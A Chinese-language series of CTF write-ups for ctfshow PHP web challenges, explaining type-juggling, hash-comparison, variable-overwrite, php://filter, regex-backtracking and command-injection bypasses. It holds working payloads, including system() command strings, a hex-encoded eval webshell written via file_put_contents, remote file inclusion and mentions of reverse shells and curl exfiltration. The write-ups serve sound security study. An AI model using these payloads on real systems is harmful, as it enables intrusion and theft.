题目:
知识点:
数组绕过正则表达式
1、preg_match()
preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()返回false
。preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,从而返回false,达到我们的目的。
2、intval()
获取变量的整数值
只有value
是一个字符串时,base
才会起作用。通过使用指定的进制
base
转换(默认是十进制),成功时返回value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 intval() 不能用于 object,否则会产生E_NOTICE
错误并返回 1。intval()函数,如果$base为0,则$var中存在字母的话遇到字母就停止
方法:
payload:?num[]=1
题目:
知识点:
1、
==只比较值是否相等,比如'1'==1是相等的(弱比较),在进行数值的比较时会进行进制的转换,如16==0x10是正确的,而16==‘0x10’是不对的,后面的‘0x10’转换为数字是等于0,16==‘16.0’是正确的,16==‘16.1’是错误的。
=是赋值,比如:$a=2;$a=$q;这时你无论echo $a还是echo $q都会输出2,
全等===,既比较类型又比较字符串大小的,例如:1===1是相等的,"1"===1是不相等的;进行数值的比较时不会进行进制的转换,如'16'==='0x10'是错误的。即等式左右一模一样
2、字符串转换为数值
因为我们提交的参数值默认就是字符串类型 ,所以base会起作用,传参一个数既要使其不强等于4476,又要使得intval函数处理后的结果强等于4476
所以,payload:
?num=4476a
intval(‘4476a’)只读取4476从而转化为4476
其他payload:
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
其他问题:
//里面的一般默认加引号,数字可以不用区别,但是字符串需要不然会报错但是不影响运行
例如
Warning: Use of undefined constant b - assumed 'b' (this will throw an Error in a future version of PHP) in /Applications/phpstudy/WWW/test.php on line 5
string(3) "xxx" string(3) "aaa" string(3) "yyy" string(3) "bbb"
从下图可以看到,POST和GET传参都是为字符串类型
题目:
知识点:
1、正则匹配
修饰符:
i ignore - 不区分大小写 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。
m multi line - 多行匹配 使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1 元字符:
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。
^php 意思为以php开头
php$ 意思是以php结尾
^php$ 意思是以php开头并以php结尾
方法:
payload:?num=%0aphp
%0aphp即换行+php:
'
php'
经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
题目:
方法:
用4476a是无法绕过第六行的,弱比较下两者直接相等
可以利用16进制、8进制、小数点过滤,做法类似web90
payload:?num=4476.1(小数点位只要不是0就行)
因为是弱比较,4476==‘4476.0’是正确的,4476==‘4476.1’是错误的
方法2:
e这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷
所以为了绕过第5行:==4476,我们就可以构造4476e123,被认为是科学计数法,值是:4476×10^123
第8行intval()函数处理时遇到字母就停止,所以只读取4476而不是4476e123,从而绕过
题目:
方法:
过滤了字母,用8进制、小数点
题目:
知识点:
1、strpos()
strpos() 函数对大小写敏感。
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。
同时注意字符串位置是从0开始,而不是从1开始的。
分析:
比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的0话也会die。因为是强等于符合,所以payload可以为:
我们可以在八进制前加一个空格
?num= 010574
或者用小数点
?num=4476.0
或者再加个 +
?num=+4476.0
题目:
分析:过滤了点
过滤了点,使用八进制
根据定义,这题的$num参数中必须满足这几点:
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点
通过换行符%0a 、空格符%20结合八进制绕过
方法:
payload:
?num= 010574 //注意开头的空格
?num=%0a010574
?num=%20010574
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码)
intval 会对以+或空格开头数字当作正数处理
题目:
知识点:
在linux下面表示当前目录是 ./
payload:
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
随便输入一个文件
发现了路径,所以还可以用绝对路径来显示这个文件。
payload:?u = /var/www/html/flag.php
题目:
知识点:
php中hash比较缺陷
md5强碰撞收集
【PHP】MD5比较漏洞 弱比较、强比较、强碰撞
MD5碰撞的一些例子
这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的
方法1:数组
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2
方法2:
不利用数组,而是使用md5加密后数据一致但原始数据不同的两个字符串。原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
(这里用HackBar不能出结果,需用burpsuit)
md5弱比较,使用了强制类型转换后不再接收数组
$a=$_POST['a'];
$b=$_POST['b'];
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
题目:
知识点:
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
php函数的传值与传址(引用)详解-php手册-PHP中文网
php三元运算符与if的详解-php教程-PHP中文网
分析:
考察点:三目运算符的理解+变量覆盖
$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将$_POST变量的地址赋值给$_GET,也就是说GET传入的值等于POST传入的值,也可以说将GET方法与POST方法等同。那么就可以用post覆盖get中的值。
中间两行意义不大,因为我们GET不提交 flag 参数
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面
方法:
GET:1=1
POST:HTTP_FLAG=flag
题目:
知识点:
PHP类型比较表
array_push 将一个或多个单元压入数组的末尾(入栈)
in_array (needle,haystack,strict) 检查数组中是否存在某个值
在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。
如果第三个参数
strict
的值为true
则 in_array() 函数还会检查needle
的类型是否和haystack
中的相同。如果needle
是字符串,则比较是区分大小写的。in_array()函数有缺陷,若没有设置第三个参数,则存在弱比较(类比==)
$allow = array(1,'2','3'); $allow = array('1','2','3');
var_dump(in_array('1.php',$allow)); var_dump(in_array('1.php',$allow));
返回的为true 返回false
分析:
rand()函数每次都从1开始,有1的概率是非常大的,所以选择1.php
传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,,而数字1在 range(1,24)数组中,当随机生成的数字正好有1时绕过 in_array()函数判断,此外通过file_put_contents()将php代码写入这个1.php文件中,导致任意文件上传漏洞。
payload:
GET:?n=1.php
POST:content= #写入一句话
多试几次,直到不报错的那一次,说明成功传入一句话。
然后访问https://url/1.php,RCE即可
知识点:
1、 is_numeric 检测变量是否为数字或数字字符串
2、PHP中and、&&、or、||与=的优先级区别
优先级:
&& > || > = > and > or
//结果:bool(false) bool(true) bool(true) bool(true)
因为运算符的优先级为&&>||>=>and>or
所以在执行第二行时,会先将true赋值给$test2,再与false进行and运算。
而第一行代码会先进行&&运算,然后将运算的结果false,赋值给$test1。
同理:第四行会先将true赋值给$test4,然后再与false进行or运算;
而第三行会先进行||运算,然后将运算的结果true赋值给$test3.3、RefelctionClass类
分析:
第一部分
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号
方法1:
payload:?v1=1&v2=system('tac ctfshow.php')&v3=;
方法2:
使用反射类直接输出class ctfshow的信息
payload:?v1=1&v2=echo new ReflectionClass&v3=;
方法3:
因为flag在ctfhsow这个类中,所以我们可以构造出var_dump($ctfshow);
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
得到 flag_is_bde4fb430x2d62590x2d404f0x2dbaa30x2da2d6bd94ed98
把ox2d换成-,再套上flag{}即可
反射类的学习
"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
在web100的基础上过滤了很多东西,那么就只有用反射类了
payload:?v1=1&v2=echo new ReflectionClass&v3=;
发现flag最后少了一位,那么就1位1位的试
题目:
知识点:
substr() 返回字符串的子串
call_user_func() 第一个参数
callback
是被调用的回调函数名,其余参数是回调函数的参数file_put_contents() 将数据写入文件,这个数据可以是一个数据流
hex2bin 转换十六进制字符串为二进制字符串(即ascii码)
分析:
$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名,这个文件名可以用php://filter来控制
方法:
文件内容不好控制,但是可以利用伪协议将内容进行编码转换。所以如果能找到一条php语句经过base64编码,在转换为16进制之后如果全部都是数字不就可以通过了吗?
也就是说
$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。
payload:
$a='=`cat *`;'; //这里虽然``反引号无回显,但是短标签自带echo
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出$c=5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
同时因为经过substr处理,所以v2前面还要补两位任意数字,这里使用00
最终payload:
GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin
拓展:
该题环境没有设置好用的是php7,但是is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。
var_dump(is_numeric("0x66"));
php5的环境下返回true php7返回false
之后经过截断我们就得到了16进制,而且是不带0x的,这时候就可以通过调用函数hex2bin将16进制转换成字符串从而写入木马文件。(hex2bin如果参数带0x会报错)
具体做法:
首先将我们的一句话编码成16进制
得到3c3f706870206576616c28245f504f53545b315d293b3f3e
因为有substr从第三位开始截取,加上16进制前面需要加上0x,所以刚好合适
接着直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
本地测试成功写入木马。
题目:
知识点:
正则匹配符元字符
. 匹配除换行符(\n、\r)之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用像"(.|\n)"的模式。
* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。
正则匹配修饰符
i ignore - 不区分大小写 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。 关于正则表达式中的.*,.*?,.+?的理解_小人物大青春的博客-CSDN博客
分析:
正则匹配的意思为:$str中不能出现以p开头中间有h然后以p结尾的子串
方法同web102
题目:
分析:
这题只需要传入的v1=v2即可
题目:
$value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
知识点:
$$的变量覆盖
GET和POST获得的参数是以键值对的形式存储的
分析:
第一个foreach是GET的键不能是error,第二个是POST的值不能是flag
题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。
方法1、通过die($error)输出
payload:
GET:?suces=flag
POST:error=suces
分析GET请求
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
//当传入suces=flag时,实际上执行的是$suces=$flag
//即把flag赋值给了suces变量
分析:POST请求
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
//传入error=suces,得到$error=$suces=$flag
//即成功把flag的值赋给了error变量
方法2:通过die($suces)
payload:
GET:?suces=flag&flag=
分析:
在第一个foreach里面
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
//第一次循环:$suces=$flag;第二次循环:$flag=NULL
POST没有使用,第二个foreach就没有作用,此时$scues=$flag;
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
而因为POST没有用所以,$_POST['flag']=NULL与前面的$flag=NULL都是NULL,满足($_POST['flag']==$flag),所以最后一个if没有进入,直接进入echo,然后输出$flag=NULL,回车,最后die($suces)即die($flag)
题目:
分析:这里传入的v1和v2不能相等,但是经过sha1之后得相等。
知识点:
sha1()函数无法处理数组,遇到数组时会报错并返回NULL
payload:
GET:?v2[]=1
POST:v1[]=2
方法2:
0e绕过
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
这几个经过sha1之后都是0exxx的字符串,为科学计数法,值都为0
方法3:sha1碰撞,等同于md5碰撞
题目:
知识点:
parse_str()将字符串解析成多个变量、如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
md5开头为0e的字符串
分析:
parse_str()会将v1字符串解析为变量存于数组v2中。
payload:
GET:?v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b
//1的md5值为 c4ca4238a0b923820dcc509a6f75849b
这样经过parse_str之后,$v2['flag']=c4ca4238a0b923820dcc509a6f75849b
方法2:
利用md5无法输出数组,返回是NULL的情况
payload:
GET:?v3[]=1
POST:v1=1 #POST不传入flag就行,这样v2['flag']=NULL
方法3:
0e弱类型比较
GET: ?v3=240610708
POST: v1=flag=0
//md5($v3)为0e开头的字符串,经过科学记数法之后等于0
题目:
知识点:
strrev()返回
string
反转后的字符串intval()函数遇到非数字字符就会停止识别, 877aa识别为877
ereg ( string $pattern , string $string , array &$regs = ? ) : int
以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,%00是空字符,不是空格什么的,是不可见字符
正则匹配
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。
+ 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
分析:这题ereg()函数要求GET传入的所有字符都必须是大小写字母,但是想要得到flag,又必须有数字,这时就可以用到ereg()的%00截断漏洞,当ereg读到%00时就被截止。0x36d等于10进制的877
payload:
GET:?c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a(因为%00是空字符,所以翻转后还是%00而不是00%,当作一个字符来看,别看成%00),再用intval函数获取整数部分得到877,877为0x36d的10进制。
题目:
知识点:
PHP异常处理 、嵌套执行
通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
只要是变量后面紧跟着(),那么对这个变量进行函数调用。例如$a = 'phpinfo'; $a()即调用phpinfo()
分析:
正则匹配要求我们传入的v1,v2中至少有一个字母。然后看到new 想到类
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类
并且可以直接echo(这个类有__toString()方法)输出的就可以了。
payload:
payload:
?v1=Exception();system('tac f*');//&v2=a
?v1=ReflectionClass&v2=system('tac f*')
?v1=Exception&v2=system("tac f*")
题目:
知识点:
FILESYSTEMITERATOR:获取指定目录下的文件
getcwd() 取得当前工作目录
分析:
payload:v1=FilesystemIterator&v2=getcwd
所以我们只需要再得到一个点或者路径就可以查看当前目录下的文件,得到一个/查看根目录下的文件。php中的getcwd()可以帮到我们这个忙。
payload:
GET:?v1=FilesystemIterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。因为FilesystemIterator一次只会得到一个文件名。
题目:
/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
知识点:
php超全局变量$GLOBALS的使用
GLOABALS 引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
PHP生命周期中,定义在函数体外部的所谓全局变量,函数内部是不能直接获得的。即外部变量,函数内部是无法访问的,除非给函数传参数
例如:
$a=123; $b=456; var_dump($GLOBALS);
返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出
["a"]=>
int(123)
["b"]=>
int(456)
分析:
所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,经过getFlag之后,eval($ctfshow=&$GLOBALS;),即将变量ctfshow指向变量GLOBALS的地址即两个等价,实现var_dump($ctfshow)=var_dump($GLOBALS)的操作,即可将全部变量输
payload:?v1=ctfshow&v2=GLOBALS
知识点:
is_file 判断给定文件名是否为一个正常的文件,filename为文件的路径。
//is_file函数可以使用包装器伪协议来绕过,当is_file的参数为伪协议时,返回值为false
//不影响file_get_contents highlight_file
分析:
我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议
payload:
可以直接用不带任何过滤器的filter伪协议
?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
还有一些其他的,可以参考php文档
题目:
方法1:
payload:?file=compress.zlib://flag.php
知识点:
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容。多次重复后绕过is_file。大佬的解释是:超过20次软连接后就可以绕过is_file
这里使用的是PHP最新版的小Trick,require_once包含的软链接层数较多时once 的 hash 匹配会直接失效造成重复包含(目录溢出)
php源码分析 require_once 绕过不能重复包含文件的限制
方法:
payload:?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
没有过滤filter,payload:file=php://filter/resource=flag.php
知识点:
is_numeric() 检测变量是否为数字或数字字符串
trim() 去除字符串首尾处的空白字符(或者其他字符)、如果不指定第二个参数,trim() 将去除这些字符:
- " " (ASCII 32 (0x20)),普通空格符。
- "\t" (ASCII 9 (0x09)),制表符。
- "\n" (ASCII 10 (0x0A)),换行符。
- "\r" (ASCII 13 (0x0D)),回车符。
- "\0" (ASCII 0 (0x00)),空字节符。(空字符) %0c也相当于空字符
- "\x0B" (ASCII 11 (0x0B)),垂直制表符
chr() 返回
ascii
所对应的单个字符。此函数与 ord() 是互补的。ord() 转换字符串第一个字节为 0-255 之间的值chr()
分析:
is_numeric($num)要求num识别为数字,但num不能强等于“36“
trim($num)!=='36'要求不能强等于”36“,然后filter之后要弱等于36
$num=='36'但最后要求弱等于"36"
如何绕过is_numeric()和trim()? Fuzz测试一下
测试is_numeric
测试trim和numeric
除去被过滤的+ - . 只剩下%0c ,也就是换页符\f
payload:?num=%0c36
根据feng师傅和yu师傅等师傅的wp慢慢总结如下:
分析:
第一个难搞的地方isset($_POST['CTF_SHOW.COM'])因为php变量命名(字母数字下划线)是不允许使用点号的
测试:
输入CTF_SHOW.COM=1输出array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
可以发现点被下划线替代了
知识点:
GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符 [
GET或POST方式传参时,变量名中的[会被替换为_,但其后的字符就不会被替换了。
利用PHP的字符串解析特性Bypass
测试:
输入xxx[xx[xx.xx xx%2bxx=2 输出 array(1) { ["xxx_xx[xx.xx xx+xx"]=> string(1) "2" }
因此CTF[SHOW.COM => CTF_SHOW.COM
知识点:
extract 从数组中将变量导入到当前的符号表
PHP extract() 函数 | 菜鸟教程
payload:
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) //题目出不来,本地测试可以
2.$_SERVER['argv']了
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项,设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果。这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]。$argv,$argc在web模式下不适用
测试:
详解$_SERVER【"QUERY_STRING"】
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$fl0g赋值为flag_give_me就可以了。获取查询语句,也就是?后面的语句所以我们只需要通过GET方式传入 赋值的语句$fl0g=flag_give_me;(注意不是fl0g而是$fl0g所以if语句条件是true)所以$a[0]= $_SERVER['QUERY_STRING']=($fl0g=flag_give_me);
eval("$c".";")=>eval(eval($a[0]);)=>eval(eval($fl0g=flag_give_me;);)所以成功将flag_give_me赋值给$fl0g,最后执行echo $flag;
payload:
GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=6&CTF[SHOW.COM=6&fun=eval($a[0])
本题预期解:
payload:
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
知识点:
parse_str() 将字符串解析成多个变量
+隔断argv
测试:
思路同上一题
payload:
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
思路同上一题
payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
题目:
|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
知识点:
$_SERVER['QUERY_STRING'];
获取的查询语句是服务端还没url解码的,所以url编码绕过即可:
payload:
?ctf%5fshow=ilove36d
payload2:
知识点:
能够被解析成_的ascii为,+(空格) . %5B([) _
通过脚本来测试0-127这128个ascii码哪些能够被解析成_
运行脚本:
flag.php内容:
结果:+ . %5B _
除去他过滤掉的 _ . [ 我们发现我们还可以用空格实现
payload:
GET:?ctf show=ilove36d
题目:
知识点:
关于php中gettext的用法?
gettext拓展的使用:
_()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数
get_defined_vars 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
get_defined_vars — 返回由所有已定义变量所组成的数组
在开启拓展后 _() 等效于 gettext()
所以 call_user_func('_','phpinfo') 返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
payload:
GET:?f1=_&f2=get_defined_vars
/*意思:
var_dump(call_user_func(call_user_func(_,get_defined_vars)))
↓
var_dump(call_user_func(get_defined_vars))
↓
var_dump(所有变量)
题目:
0){
echo readfile($f);
}
}
知识点:
stripos() 查找字符串首次出现的位置(不区分大小写)
目录穿越
方法1:一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow 其中xxx.txt内容为一句话
方法2:
分析:
stripos要求我们构造的f中需要有ctfshow且不能以ctfshow开头,但是又不影响读flag.php
payload1:(前提是知道路径):
GET:?f=xctfshow/../../../../../../../var/www/html/flag.php
//然后查看源代码,../数量越多越好,确保达到根目录
payload2:
GET:?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
//filter伪协议支持多种编码方式,无效的就被忽略掉了。
题目:
非预期解1:
知识点:
preg_match 执行匹配正则表达式;其无法处理数组,如果对象是数组时,就会发生错误,返回:FALISE。
stripos 查找字符串首次出现的位置(不区分大小写);传入数组时,所以stripos会返回null;如果未发现 needle 将返回
false
。
因为null不强等于FALSE(但是弱等于)
payload:
POST:f[]=1
非预期解2:
知识点:
正则匹配:
元字符
? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 。? 等价于 {0,1}。
+ 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
. 匹配除换行符(\n、\r)之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用像"(.|\n)"的模式。
? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。
s修饰符:
s 特殊字符圆点 . 中包含换行符 \n 默认情况下的圆点 . 是 匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后, . 中包含换行符 \n。
分析:
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
在/s模式下,.匹配任意字符,+表示匹配一次或更多次,至少一次而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少匹配字符。
因为.+?三个连在一起就表示在ctfshow前面必须至少有一个字符才会使这个if判断为真。
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
这条代码要求我们的$f必须包含ctfshow,否则就die。
payload:
POST:f=ctfshow
正解:PCRE回溯次数限制
深悉正则(pcre)最大回溯/递归限制(非贪婪模式)本题
PHP利用PCRE回溯次数限制绕过某些安全限制(贪婪模式)
requests.post() 方法的使用
preg_match() 返回值有三种:
0 未匹配
1 匹配一次
FALSE 发生错误
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
方法:
python脚本
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
结果:
题目:
回溯python脚本:
import requests
url="http://f303bf52-c00a-4fa6-9e54-fb1149833583.challenge.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
分析:
打开是一个网站,访问robots.txt得到/admin打开/admin获得题目。
知识点 :
1、对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
2、||优先级低于&&
3、mt_rand()--生成随机数
例子:
结果输出123;
分析:
要使$code = mt_rand()、$password === $flag 是不可能的,所以||前面只能是false,但因为&&优先级大于||,所以我们只使||后面的成立即可
payload:
GET:?code=admin&username=admin&password=1
题目:
知识点:
substr() 返回字符串
string
由offset
和length
参数指定的子字符串。
参考yu师傅的一个小例子(套娃的意思):
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
但是因为我们传入的F为`$F `;sleep 3
所以把$F替换为`$F `;sleep 3
那么我们执行的就是
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
无回显我们可以用反弹shell 或者curl外带 或者盲注
反弹shell:
curl外带:
curl外带原理_Monica的博客-CSDN博客
这里的话反弹没有成功,但是可以外带。
payload:
